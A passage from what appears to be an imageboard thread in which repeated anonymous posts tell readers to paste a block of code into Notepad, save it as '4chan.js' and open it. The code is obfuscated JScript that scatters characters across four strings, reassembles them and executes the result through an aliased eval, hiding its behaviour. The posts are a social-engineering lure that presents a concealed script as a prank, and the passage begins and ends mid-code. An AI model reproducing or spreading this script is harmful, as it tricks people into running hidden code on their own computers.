'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3vzagdj

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
szdsl4

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
28dtiu9

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.


A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
14zvsxu

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.


A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3rzky08

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.


A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3qi28f9

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
nn7rsy

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
q8sjkm

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
2ubl9wi

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.


A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
2mbjzno

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.


A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
n3f59z

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
vi7lqa

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
